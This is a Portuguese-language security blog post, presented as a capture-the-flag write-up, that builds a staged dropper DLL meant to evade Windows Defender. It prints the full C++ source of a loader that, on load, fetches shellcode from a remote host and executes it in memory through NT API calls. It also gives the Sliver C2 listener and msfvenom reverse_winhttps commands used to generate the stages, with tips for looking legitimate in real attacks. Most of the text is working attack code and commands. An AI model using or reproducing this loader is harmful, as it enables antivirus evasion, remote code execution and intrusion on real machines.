Geleia Cybersecurity professional

staged shellcode to bypass av

2026-03-09

staged shellcode to bypass av

No mundo dos malwares existem diversas tecnicas usadas para estabelecer acesso à maquina alvo, algumas são simples como a execução de um unico exe, outras ja são mais elaboradas contendo varios estágios visando enganar os sistemas de defesa.

Muitos malwares usam tecnicas que dividem em partes a sua execução (principlamente os que envolvem carregar algum payload malicioso em memória), como exemplo os malwares em PowerShell que são obfuscados e encodados para separar os payloads do script principal que está em execução na maquina alvo.

Essa tecnica é conhecida como Staging, staged malware, staged payloads e etc. A tecnica consiste basicamente em um Dropper (exe, dll ou script) que será executado primeiro na maquina alvo, sendo o stage 1, que irá requisitar e receber o stage 2 que geralmente é algum shellcode ou outro arquivo para fazer uma conexão com o C2 e/ou estabelecer persistencia.

staged

Pensando nisso hoje vou compartilhar uma experiência que tive com um maquina de ctf em que o initial access consistia em carregar uma dll para obter rce, mas com um porém, o Windows Defender estava ativado e não seria tão simples como gerar uma dll com o msfvenom e jogar lá, eu precisava de algo para “bypassar” o defender e que fosse uma dll.

Com um pouco pesquisa encontrei esse repositorio com alguns samples de código que usam a api sockets e a winhttp do windows. A ideia do código é basicamente receber o shellcode via request http e injetar os bytes na memória do mesmo processo sem deixar o shellcode hardcoded no código. https://github.com/SaadAhla/Shellcode-Hide/blob/main/4%20-%20Fileless%20Shellcode/1%20-%20Using%20Sockets/FilelessShellcode.cpp.

A seguir vamos ver esse código em partes e depois fazer a poc.

WINSOCK API - STAGE 1

A parte do socket é bem simples levando em consideração que foi copiado da documentação da microsoft https://learn.microsoft.com/en-us/windows/win32/winsock/complete-client-code.

  1. Aqui temos as declarações de variaveis junto com uma conversão de caracteres que vem do parâmetro host. Logo abaixo vemos sendbuf que armazena buffer da request para o c2 e recvbuf que vai receber o shellcode do stage 1.
void getShellcode_Run(char* host, char* port, char* resource) {

    DWORD oldp = 0;
    BOOL returnValue;

    size_t origsize = strlen(host) + 1;
    const size_t newsize = 100;
    size_t convertedChars = 0;
    wchar_t Whost[newsize];
    mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);


    WSADATA wsaData;
    SOCKET ConnectSocket = INVALID_SOCKET;
    struct addrinfo* result = NULL,
        * ptr = NULL,
        hints;

    char sendbuf[MAX_PATH] = "";
    lstrcatA(sendbuf, "GET /");
    lstrcatA(sendbuf, resource);

    char recvbuf[DEFAULT_BUFLEN];
    memset(recvbuf, 0, DEFAULT_BUFLEN);
    int iResult;
    int recvbuflen = DEFAULT_BUFLEN;
  1. Em seguida o socket é iniciado, recebe o ip para se conectar, envia a request que pegar o shellcode e jogar na função RunShellcode. Essa parte é importante porque aqui o dropper faz a primeira interação com o c2 se conectando numa porta web iniciando o stage 1.

Sobre o código do socket não vou entrar muito em detalhes já que ler a doc da microsoft é melhor do que qualquer explicação minha.

    
    // Initialize Winsock
    iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != 0) {
        return ;
    }

    ZeroMemory(&hints, sizeof(hints));
    hints.ai_family = PF_INET;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = IPPROTO_TCP;

    // Resolve the server address and port
    iResult = getaddrinfo(host, port, &hints, &result);
    if (iResult != 0) {
        WSACleanup();
        return ;
    }

    // Attempt to connect to an address until one succeeds
    for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {

        // Create a SOCKET for connecting to server
        ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
            ptr->ai_protocol);
        if (ConnectSocket == INVALID_SOCKET) {
            WSACleanup();
            return ;
        }

        // Connect to server.
        iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
        if (iResult == SOCKET_ERROR) {
            closesocket(ConnectSocket);
            ConnectSocket = INVALID_SOCKET;
            continue;
        }
        break;
    }

    freeaddrinfo(result);

    if (ConnectSocket == INVALID_SOCKET) {
        WSACleanup();
        return ;
    }

    // Send an initial buffer
    iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
    if (iResult == SOCKET_ERROR) {
        closesocket(ConnectSocket);
        WSACleanup();
        return ;
    }

    
    // shutdown the connection since no more data will be sent
    iResult = shutdown(ConnectSocket, SD_SEND);
    if (iResult == SOCKET_ERROR) {
        closesocket(ConnectSocket);
        WSACleanup();
        return ;
    }
    
    // Receive until the peer closes the connection
    do {

        iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
        if (iResult > 0)
            printf("[+] Received %d Bytes\n", iResult);
        else if (iResult == 0)
            printf("[+] Connection closed\n");
        else
            printf("recv failed with error: %d\n", WSAGetLastError());


        RunShellcode(recvbuf, recvbuflen);

    } while (iResult > 0);

    // cleanup
    closesocket(ConnectSocket);
    WSACleanup();
}

PROCESS INJECTION - STAGE 1

Depois de receber stage 1 vem a parte do process injection.

Primeiro temos algumas definições de linking para o compilador (os #pragma comment), definições de funções Nt (as famosas undocumented/low-level functions) para alocar memória, alterar permissões e criar thread.

#pragma comment(lib, "ntdll.dll")
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")


#define NtCurrentProcess()     ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

EXTERN_C NTSTATUS NtAllocateVirtualMemory(
    HANDLE    ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T   RegionSize,
    ULONG     AllocationType,
    ULONG     Protect
);

EXTERN_C NTSTATUS NtProtectVirtualMemory(
    IN HANDLE ProcessHandle,
    IN OUT PVOID* BaseAddress,
    IN OUT PSIZE_T RegionSize,
    IN ULONG NewProtect,
    OUT PULONG OldProtect);

EXTERN_C NTSTATUS NtCreateThreadEx(
    OUT PHANDLE hThread,
    IN ACCESS_MASK DesiredAccess,
    IN PVOID ObjectAttributes,
    IN HANDLE ProcessHandle,
    IN PVOID lpStartAddress,
    IN PVOID lpParameter,
    IN ULONG Flags,
    IN SIZE_T StackZeroBits,
    IN SIZE_T SizeOfStackCommit,
    IN SIZE_T SizeOfStackReserve,
    OUT PVOID lpBytesBuffer
);

EXTERN_C NTSTATUS NtWaitForSingleObject(
    IN HANDLE         Handle,
    IN BOOLEAN        Alertable,
    IN PLARGE_INTEGER Timeout
);

No segundo trecho é onde a magica acontece. O shellcode stage 1 que o socket recebe é injetado na memória dando inicio ao stage 2. Para resumir, nessa parte temos os passos mais comuns para injetar um payload na memória, então caso o leitor não tenha conhecimento sobre as tecnicas de process injection recomendo as seguintes leituras porque não vou me aprofundar nesse tópico.

void RunShellcode(char* shellcode, DWORD shellcodeLen) {

    PVOID BaseAddress = NULL;
    SIZE_T dwSize = 0x2000;

    PCSTR Terminator = NULL;
    NTSTATUS STATUS;

    NTSTATUS status1 = NtAllocateVirtualMemory(NtCurrentProcess(), &BaseAddress, 0, &dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!NT_SUCCESS(status1)) {
        return ;
    }

    RtlMoveMemory(BaseAddress, shellcode, shellcodeLen);

    HANDLE hThread;
    DWORD OldProtect = 0;

    NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, (PSIZE_T)&dwSize, PAGE_EXECUTE_READ, &OldProtect);
    if (!NT_SUCCESS(NtProtectStatus1)) {
        return ;
    }


    HANDLE hHostThread = INVALID_HANDLE_VALUE;


    NTSTATUS NtCreateThreadstatus = NtCreateThreadEx(&hHostThread, 0x1FFFFF, NULL, NtCurrentProcess(), (LPTHREAD_START_ROUTINE)BaseAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
    if (!NT_SUCCESS(NtCreateThreadstatus)) {
        GetLastError();
        return ;
    }

    LARGE_INTEGER Timeout;
    Timeout.QuadPart = -10000000;


    NTSTATUS NTWFSOstatus = NtWaitForSingleObject(hHostThread, FALSE, &Timeout);
    if (!NT_SUCCESS(NTWFSOstatus)) {
        GetLastError();
        return ;
    }
}

CUSTOM SHELLCODE - STAGE 1 + STAGE 2

Agora que temos o entendimento de como o dropper funciona vamos preparar os stages 1 e 2. Para receber as callbacks dos stages vamos usar o c2 framework sliver. O sliver é um dos c2 mais completos atualmente com muitas features boas de post-exp e ainda um staging muito simples de usar.

Começando com o shellcode stage 1 vamos gera-lo usando o msfvenom aproveitando que o sliver suporta alguns payloads dele. Seguindo a documentação do sliver vemos que podemos usar o windows/x64/custom/reverse_winhttps payload para obter o stage 2 que é servido a partir de uma url especifica com a extensão .woff. Com isso é possivel criar droppers customizados para executar stages apenas dando um GET na url https://qualquercoisa.woff. https://sliver.sh/docs?name=Stagers

  1. Primeiro geramos um profile responsável por armazenar o shellcode stage 2
sliver > profiles new beacon --http 192.168.0.1:443 --format shellcode --disable-sgn <profile-name>
  1. Segundo iniciamos um stage-listner responsável por servir o shellcode stage 2 do profile
sliver > stage-listener --url https://192.168.0.1:8443 --prepend-size -p <profile-name>
  1. Terceiro iniciamos um listner final que vai receber o callback do stage 2
sliver > https --lhost 192.168.0.1 

setupc2

Outra parte importante. Note que os listners usam HTTPS (ja que a ideia é ser stealth e bypassar detecção) então temos que fazer requests https para obter os stages do c2. Na a documentação do sliver diz que por padrão quando um listner https é iniciado um par de certificados self-signed é gerado, para o propósito desse lab isso vai servir, porém, em um cenário real o mais correto era ter um dominio apontando para o c2 e emitir certificados ssl para esse dominio, dessa forma não levantaria muitas suspeitas.

Se procurarmos nos arquivos gerados pelo sliver vamos achar o diretório /root/.sliver/certs com todos os certificados gerados, depois copiamos os https-ca para outro lugar porque vamos precisar para gerar o shellcode stage 1.

  1. Por último vamos gerar o stage 1, mas antes precisamos juntar os certs em um só porque a opção com ssl pede “Path to a SSL certificate in unified PEM format”.
└─$ cat https-ca-key.pem https-ca-cert.pem > https-ca.pem
└─$ msfvenom -p windows/x64/custom/reverse_winhttps LHOST=10.10.15.161 LPORT=8443 EXITFUNC=thread -f raw LURI=pegaai.woff HandlerSSLCert=./https-ca.pem -o stage1.bin

stage1

POC

Na parte final vamos criar o dropper dll pelo Visual Studio. Create a New Project --> Dynamic-Link Library (DLL) --> Put name --> Create. Depois de criado o projeto faça o Build e pronto.

dllproject

Full source:

#include "pch.h"
#include <winsock2.h>
#include <ws2tcpip.h>
#include <winternl.h>
#include <Windows.h>
#include <stdio.h>
#include "ios"
#include "fstream"
#include <iostream>


#pragma comment(lib, "ntdll.lib")
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")


#define NtCurrentProcess()         ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

EXTERN_C NTSTATUS NtAllocateVirtualMemory(
    HANDLE    ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T   RegionSize,
    ULONG     AllocationType,
    ULONG     Protect
);

EXTERN_C NTSTATUS NtProtectVirtualMemory(
    IN HANDLE ProcessHandle,
    IN OUT PVOID* BaseAddress,
    IN OUT PSIZE_T RegionSize,
    IN ULONG NewProtect,
    OUT PULONG OldProtect);

EXTERN_C NTSTATUS NtCreateThreadEx(
    OUT PHANDLE hThread,
    IN ACCESS_MASK DesiredAccess,
    IN PVOID ObjectAttributes,
    IN HANDLE ProcessHandle,
    IN PVOID lpStartAddress,
    IN PVOID lpParameter,
    IN ULONG Flags,
    IN SIZE_T StackZeroBits,
    IN SIZE_T SizeOfStackCommit,
    IN SIZE_T SizeOfStackReserve,
    OUT PVOID lpBytesBuffer
);

EXTERN_C NTSTATUS NtWaitForSingleObject(
    IN HANDLE         Handle,
    IN BOOLEAN        Alertable,
    IN PLARGE_INTEGER Timeout
);

void RunShellcode(char* shellcode, DWORD shellcodeLen) {

    PVOID BaseAddress = NULL;
    SIZE_T dwSize = 0x2000;

    PCSTR Terminator = NULL;
    NTSTATUS STATUS;

    NTSTATUS status1 = NtAllocateVirtualMemory(NtCurrentProcess(), &BaseAddress, 0, &dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!NT_SUCCESS(status1)) {
        return;
    }

    RtlMoveMemory(BaseAddress, shellcode, shellcodeLen);

    HANDLE hThread;
    DWORD OldProtect = 0;

    NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, (PSIZE_T)&dwSize, PAGE_EXECUTE_READ, &OldProtect);
    if (!NT_SUCCESS(NtProtectStatus1)) {
        return;
    }


    HANDLE hHostThread = INVALID_HANDLE_VALUE;


    NTSTATUS NtCreateThreadstatus = NtCreateThreadEx(&hHostThread, 0x1FFFFF, NULL, NtCurrentProcess(), (LPTHREAD_START_ROUTINE)BaseAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
    if (!NT_SUCCESS(NtCreateThreadstatus)) {
        return;
    }

    LARGE_INTEGER Timeout;
    Timeout.QuadPart = -10000000;


    NTSTATUS NTWFSOstatus = NtWaitForSingleObject(hHostThread, FALSE, &Timeout);
    if (!NT_SUCCESS(NTWFSOstatus)) {
        return;
    }
}


void getShellcode_Run(char* host, char* port, char* resource) {

    DWORD oldp = 0;
    BOOL returnValue;

    size_t origsize = strlen(host) + 1;
    const size_t newsize = 100;
    size_t convertedChars = 0;
    wchar_t Whost[newsize];
    mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);


    WSADATA wsaData;
    SOCKET ConnectSocket = INVALID_SOCKET;
    struct addrinfo* result = NULL,
        * ptr = NULL,
        hints;
    char sendbuf[MAX_PATH] = "";
    lstrcatA(sendbuf, "GET /");
    lstrcatA(sendbuf, resource);

    char recvbuf[DEFAULT_BUFLEN];
    memset(recvbuf, 0, DEFAULT_BUFLEN);
    int iResult;
    int recvbuflen = DEFAULT_BUFLEN;


    // Initialize Winsock
    iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != 0) {
        return;
    }

    ZeroMemory(&hints, sizeof(hints));
    hints.ai_family = PF_INET;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = IPPROTO_TCP;

    // Resolve the server address and port
    iResult = getaddrinfo(host, port, &hints, &result);
    if (iResult != 0) {
        WSACleanup();
        return;
    }

    // Attempt to connect to an address until one succeeds
    for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {

        // Create a SOCKET for connecting to server
        ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
            ptr->ai_protocol);
        if (ConnectSocket == INVALID_SOCKET) {
            WSACleanup();
            return;
        }

        // Connect to server.
        iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
        if (iResult == SOCKET_ERROR) {
            closesocket(ConnectSocket);
            ConnectSocket = INVALID_SOCKET;
            continue;
        }
        break;
    }

    freeaddrinfo(result);

    if (ConnectSocket == INVALID_SOCKET) {
        WSACleanup();
        return;
    }

    // Send an initial buffer
    iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
    if (iResult == SOCKET_ERROR) {
        closesocket(ConnectSocket);
        WSACleanup();
        return;
    }

    // shutdown the connection since no more data will be sent
    iResult = shutdown(ConnectSocket, SD_SEND);
    if (iResult == SOCKET_ERROR) {
        closesocket(ConnectSocket);
        WSACleanup();
        return;
    }

    // Receive until the peer closes the connection
    do {

        iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
        if (iResult > 0)
            printf("[+] Received %d Bytes\n", iResult);
        else if (iResult == 0)
            printf("[+] Connection closed\n");
        else
            printf("recv failed with error: %d\n", WSAGetLastError());


        RunShellcode(recvbuf, recvbuflen);

    } while (iResult > 0);

    // cleanup
    closesocket(ConnectSocket);
    WSACleanup();
}



void callFuncs() {

    char ip[] = "192.168.0.1";
    char port[] = "8080";
    char resource[] = "stage1.bin";

    getShellcode_Run(ip, port, resource);
}


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        callFuncs();
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Quando estive tudo pronto para execução inicie um http server para servir o stage 1. Em um cenario real poderia ser um web server com algum site se passando por legitimo, assim seria possivel servir varios payloads de forma facil.

Para executar a dll vou usar o rundll32.exe apenas para fins de demonstração mas num cenario real existem diversas tecnicas para executar uma dll no alvo que não vou explorar aqui nesse texto.

  • run dll

rundll

  • get stage1

getstage1

  • beacon callback

beacon

  • command exec

usebeacon

Conclusão

Como podemos ver o dropper bypassou o Defender com sucesso e usando uma tecnica simples de staging, isso mostra que uma tecnica não muito elaborada já é suficiente para obter acesso a uma maquina. Esse artigo é só mais um de uma série sobre malwares, até a proxima.


Similar Posts

Artigo anterior ESC7 domain escalation

Content